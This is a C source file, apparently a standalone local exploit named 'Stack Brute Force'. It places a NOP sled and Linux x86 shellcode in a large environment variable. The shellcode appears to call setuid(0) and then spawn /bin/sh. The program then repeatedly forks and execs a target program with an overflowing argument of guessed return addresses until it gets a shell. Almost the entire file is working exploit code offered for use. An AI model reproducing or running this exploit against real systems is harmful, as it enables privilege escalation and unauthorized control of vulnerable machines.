#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
  You can use debugger to get esp address, that can make program will be defeated more faster !
  RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4  // you may change this
#define NOP 0x90  

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000


char shellcode[] =
  /* 
  ; standard /bin//sh
  global _start

  _start:

  xor  eax,eax
  push  byte  11
  pop  eax
  push  ebx
  push  0x68732f2f
  push  0x6e69622f
  mov  ebx,esp
  xor  ecx,ecx
  xor  edx,edx
  push  ebx
  int  0x80
  
  */
  "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
  "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
  char *application = NULL;
  char *buffer = NULL;
  char env_var[ENV_LEN];
  char *env[2] = { env_var, NULL};
  int *p, num, ret, pid, payload_size;

  if (argc < 3)
  {
    printf("\nStack Brute Force");
    printf("\nProgrammer : Gunslinger_");
    printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
    exit(1);
  }
  
  printf("[*] Using return address 0x%x \n", RET);
  printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
  printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
  
  application = strdup(argv[1]);
  payload_size = atoi(argv[2]);
  buffer = (char*) malloc(payload_size);

  memset (env_var, NOP, ENV_LEN);

  memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
  env_var[ENV_LEN-1]=0;

  p = (int*) buffer;

  for (num = 0; num < payload_size; num += sizeof(int), p++)
    *p = RET;
  *p=0;
  do {
    switch(pid=fork())
    {
    case 0:
      execle (application, application, buffer, NULL, env);
      exit(0);
      break;
    default:
      waitpid (pid, &ret, 0);
      break;
    }
  }
while (ret);
}